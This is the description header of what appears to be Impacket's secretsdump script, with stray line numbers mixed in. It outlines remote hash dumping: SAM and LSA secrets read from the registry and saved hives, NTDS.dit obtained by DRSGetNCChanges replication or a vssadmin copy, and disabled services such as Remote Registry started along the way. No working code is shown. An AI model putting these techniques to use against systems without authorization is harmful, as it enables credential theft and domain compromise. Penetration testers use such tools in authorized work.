       # Description:
9
           Performs various techniques to dump hashes from the
10
           remote machine without executing any agent there.
11
           For SAM and LSA Secrets (including cached creds)
12
           we try to read as much as we can from the registry
13
           and then we save the hives in the target system
14
           (%SYSTEMROOT%\\Temp dir) and read the rest of the
15
           data from there.
16
           For NTDS.dit we either:
17
               a. Get the domain users list and get its hashes
18
                  and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
19
                  call, replicating just the attributes we need.
20
               b. Extract NTDS.dit via vssadmin executed with the
21
22
                  smbexec approach.
                  It's copied on the temp dir and parsed remotely.
23
24
           The script initiates the services required for its working
25
           if they are not available (e.g. Remote Registry, even if it is
26
           disabled). After the work is done, things are restored to the
27
           original state.

       # Author:
         Alberto Solino (@agsolino)
31
32
33
34
           Most of the work done by these guys. I just put all
           the pieces together, plus some extra magic.
